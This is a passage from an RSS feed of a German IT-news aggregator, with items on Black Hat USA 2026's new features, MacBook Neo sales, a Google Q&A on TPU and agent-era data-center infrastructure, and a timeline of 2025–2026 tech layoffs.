<description><![CDATA[Author: Black Hat - Bewertung: 2x - Views:21 Black Hat USA 2026 isn't just bigger... It's built differently, and Black Hat is closing the gap between knowing and doing.  

This video walks through some of our new features, the team building them explain what's coming and why it matters: 

Arsenal...]]></description>
<link>https://tsecurity.de/de/3689244/it-security-video/black-hat-usa-2026-new-features/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689244/it-security-video/black-hat-usa-2026-new-features/</guid>
<pubDate>Thu, 23 Jul 2026 15:57:16 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Black Hat - Bewertung: 2x - Views:21 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/E6mtjQ53HjM?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Black Hat USA 2026 isn't just bigger... It's built differently, and Black Hat is closing the gap between knowing and doing.  <br />
<br />
This video walks through some of our new features, the team building them explain what's coming and why it matters: <br />
<br />
Arsenal Labs is reunited with Arsenal. The Interface showcases CTF arenas, including scenarios across healthcare, retail, and more, VR breach investigations, and escape rooms. Our NOC Outpost allows you to step beyond the glass and work alongside the team protecting the event in real time. Bricks and Picks introduces real-world physical security scenarios. The Main Stage moves to the Business Hall floor. A First-Timers Program launches for anyone walking into their first Black Hat. Networking is easier throughout the new Cyber District. <br />
<br />
Timestamps: <br />
0:00 — Why 2026 is different: active learning, hands-on experiences <br />
2:06 — Arsenal + Arsenal Labs: 115 sessions, Drone Zone, The Lab, The Interface <br />
5:51 — Summit Leaders Lounge, Community Conversations, Picture Point <br />
8:21 — NOC Outpost: step beyond the glass, see agentic AI in action <br />
9:48 — Bricks and Picks: lock picking + Lego, physical security scenarios <br />
12:19 — Main Stage + Startup Spotlight (now a global competition) <br />
13:51 — Startup City + AI Zone content stages <br />
16:09 — First-Timers Program (Tuesday 5-7pm) <br />
16:54 — Cyber District: 13 sponsor venues across the week <br />
<br />
Black Hat USA 2026 <br />
August 1–6, 2026 | Las Vegas <br />
Register at blackhat.com <br />
Full feature breakdown: Black Hat USA 2026 | Features <br />
<br />
One Step Ahead. <br />
<br />
  <br />
<br />
Black Hat USA 2026 <br />
August 1–6, 2026 | Las Vegas <br />
Register at blackhat.com <br />
Full feature breakdown: Black Hat USA 2026 | Features <br />
<br />
  <br />
<br />
One Step Ahead.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[MacBook Neo’s success wasn’t luck, it was a plan]]></title>
<description><![CDATA[It’s difficult to ignore the fact that Apple seems to have turned its MacBook Neo into a weapon to promote platform growth, with enough performance under the hood to make competitors seem inferior.



And even as the PC industry moves to try to compete with Apple’s last huge Mac success, the comp...]]></description>
<link>https://tsecurity.de/de/3689195/ai-nachrichten/macbook-neos-success-wasnt-luck-it-was-a-plan/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689195/ai-nachrichten/macbook-neos-success-wasnt-luck-it-was-a-plan/</guid>
<pubDate>Thu, 23 Jul 2026 15:22:56 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">It’s difficult to ignore the fact that Apple seems to have <a href="https://www.computerworld.com/article/4180406/after-a-quick-1-1m-sales-macbook-neo-set-to-reshape-the-pc-industry.html">turned its MacBook Neo into a weapon</a> to promote platform growth, with enough performance under the hood to make competitors seem inferior.</p>



<p class="wp-block-paragraph">And even as the PC industry moves to try to compete with Apple’s last <a href="https://www.applemust.com/macbook-neo-continues-to-top-amazon-laptop-charts-in-us-uk/" target="_blank" rel="noreferrer noopener">huge Mac success</a>, the company is already planning a powerful follow-up.</p>



<p class="wp-block-paragraph">That points to the discipline Apple has applied to the Mac since the introduction of Apple Silicon. The company has built a clear product roadmap, strong entry-level pricing, and steady performance gains. This focus is now paying dividends, giving people the impetus to keep placing their trust in Apple and its Macs — even as the industry raises prices in the face of RAMageddon and price increases. </p>



<h2 class="wp-block-heading"><strong>The numbers don’t lie</strong></h2>



<p class="wp-block-paragraph">“Apple’s recent price increase seems to be an inevitable response to these cost increases. In the second half of the year, other PC OEMs are expected to continue to raise prices, and the overall ASP increase is expected to continue,” Counterpoint said. The researcher tells us global PC shipments shrank 4% in the second quarter of 2026 as rising costs hit demand. The Mac maker, by contrast, moved in the opposite direction, generating 13% growth in the quarter — mainly on the back of the MacBook Neo introduction. </p>



<p class="wp-block-paragraph"><a href="https://www.idc.com/resource-center/press-releases/2q26-pc-top5/" target="_blank">Recent IDC data</a> gives Apple 10.1% year-over-year growth and just under 10% (9.9% to be exact) of the worldwide PC market, even as the overall market declined 4.9%.</p>



<p class="wp-block-paragraph">“With emerging supply chain and tariff challenges inflating memory prices…, Apple’s incredibly aggressive price-point for the MacBook Neo makes its release feel all the more like a gut punch to one of the PC market’s most valuable price tiers,” Futurum Research Director <a href="https://www.computerworld.com/article/4143010/apples-macbook-neo-first-reviews-and-analyst-reactions.html" data-type="link" data-id="https://www.computerworld.com/article/4143010/apples-macbook-neo-first-reviews-and-analyst-reactions.html">Olivier Blanchard said when the Neo was released</a>. </p>



<h2 class="wp-block-heading"><strong>Neo 2.0 is already coming</strong></h2>



<p class="wp-block-paragraph">In the immediate future, as competitors raise prices on the PCs that compete with Apple’s lower-cost device, Cupertino is <a href="https://www.culpium.com/p/apple-in-talks-to-boost-mac-neo-production" target="_blank" rel="noreferrer noopener">already plotting</a> the path toward <a href="https://www.bloomberg.com/news/articles/2026-07-22/apple-to-launch-new-macbook-air-imac-macbook-pro-neo-mac-mini-mac-studio" target="_blank" rel="noreferrer noopener">MacBook Neo 2.</a> Reports claim this will debut in March in new colors and use the A19 Pro chip from the iPhone 17 Pro, with performance boosted by slightly more unified memory (12GB, rather than 8GB). That’ll make it a much better Mac, likely with 10-15% performance gains and the ability to run Apple Intelligence, making it the best and most affordable AI PC in its class.</p>



<p class="wp-block-paragraph">Just four months after the Neo’s rollout, Apple is already in position to leak rumors of an even more computationally capable follow-up, while competitors struggle to compete with the original on performance, build quality, and price. Still, the Neo might get more expensive, reporting warns, with the lowest-price 256GB model now gone, making the $599 Mac a mirage we can only wistfully hope to see again. </p>



<p class="wp-block-paragraph">That might matter less in context, as PC makers everywhere boost prices while RAM, chips, and storage prices head north, along with transport, logistics, and energy costs. “While [Apple] did raise prices in line with the broader market, it still remains well positioned against rivals facing the same cost pressures,” said Jean Philippe Bouchard, vice president for consumer devices at IDC. </p>



<p class="wp-block-paragraph">“As market conditions continue to worsen, the importance of supply chain management and capabilities are increasingly important,” Bouchard said. “The largest vendors, with their buying power and long-standing supplier ties, are best positioned to take share from smaller rivals.”</p>



<h2 class="wp-block-heading"><strong>This was never about luck</strong></h2>



<p class="wp-block-paragraph">This isn’t solely a market take about competition, it’s about planning.</p>



<p class="wp-block-paragraph">Few in the industry seemed prepared for the massive memory price increases that hit this year. Apple clearly planned its low-cost Mac well before that happened, hoping to seize the PC market at the low-mid-range. This is precisely what it seems to have done, what it continues to do, and what it will continue to do.</p>



<p class="wp-block-paragraph">The recent reports that it has a successor planned shows the breadth of the Mac company’s strategic vision, as Apple has quite clearly sought to fully exploit the failings of Windows and the internal contradictions of a value-conscious industry in stiff competition with itself.</p>



<p class="wp-block-paragraph">With the first M-series Macs about to enter the replacement cycle, Apple has built a market it can capitalize on for at least a decade, meaning it already has a vision for PC sales that extends at least as far. That’s the kind of road map corporate purchasers want when they make platform deployment decisions, which is why Apple’s 10% share gains are the beginning of <a href="https://www.computerworld.com/article/4150717/hexnode-ceo-macbook-neo-forces-it-to-rethink-its-budget-laptop-strategy.html">even more significant market change</a>. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to my daily Apple-related news summaries at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Q&A: Google’s AI and computing chief talks about its shapeshifting data centers]]></title>
<description><![CDATA[Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data cente...]]></description>
<link>https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</guid>
<pubDate>Thu, 23 Jul 2026 14:55:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: <a href="https://www.networkworld.com/article/4200581/google-transforms-its-data-center-architecture-for-agent-era.html">Google transforms its data center architecture for agent era</a>)</p>



<p class="wp-block-paragraph"><em>Network World</em> spoke with <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.</p>



<p class="wp-block-paragraph"><strong>Network World: What is the primary shift in infrastructure needs?</strong></p>



<p class="wp-block-paragraph"><strong>Mark Lohmeyer:</strong> We’ve seen the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">rise of agents and agentic use cases</a>. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">inference transactions increase</a> by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.</p>



<p class="wp-block-paragraph"><strong>NW: How are you addressing energy efficiency?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced <a href="https://www.networkworld.com/article/4149069/why-ai-rack-densities-make-liquid-cooling-nonnegotiable.html">liquid cooling</a> over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront… orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">N4A</a> has energy efficiency and is significantly better than the prior generation and x86 comparables.</p>



<p class="wp-block-paragraph"><strong>NW: How do you think about token efficiency as you build-out systems?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Performance and efficiency gains are powered by co-design of the model and infrastructure. <a href="https://www.computerworld.com/article/4161990/gemini-enterprise-update-brings-ai-agents-into-collaborative-workflows.html">Gemini</a> is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.</p>



<p class="wp-block-paragraph"><strong>NW: How do you project what infrastructure will be needed years in advance?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with <a href="https://deepmind.google/about/">DeepMind</a> doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the eighth generation TPU platform?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">eighth-generation TPU platform</a> is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPU-8t</a> is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.</p>



<p class="wp-block-paragraph"><strong>NW: How are you approaching GPU and TPU compatibility?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a> and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.</p>



<p class="wp-block-paragraph"><strong>NW: How has the orchestration platform changed for agents?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">GKE</a> [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the <a href="https://cloud.google.com/kubernetes-engine">GKE stack</a>: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.</p>



<p class="wp-block-paragraph"><strong>NW: What is the role of the network and storage infrastructure?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. <a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">We created the Virgo network</a> — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.</p>



<p class="wp-block-paragraph">In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.</p>



<p class="wp-block-paragraph">We’ve introduced <a href="https://cloud.google.com/products/managed-lustre">Managed Lustre 10T</a>, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.</p>



<p class="wp-block-paragraph"><strong>NW: How does KV cache strategy differ between training and inference?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> For <a href="https://blog.google/innovation-and-ai/infrastructure-and-cloud/google-cloud/eighth-generation-tpu-agentic-era/">TPU-8i</a>, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.</p>



<p class="wp-block-paragraph">We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</guid>
<pubDate>Thu, 23 Jul 2026 14:35:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



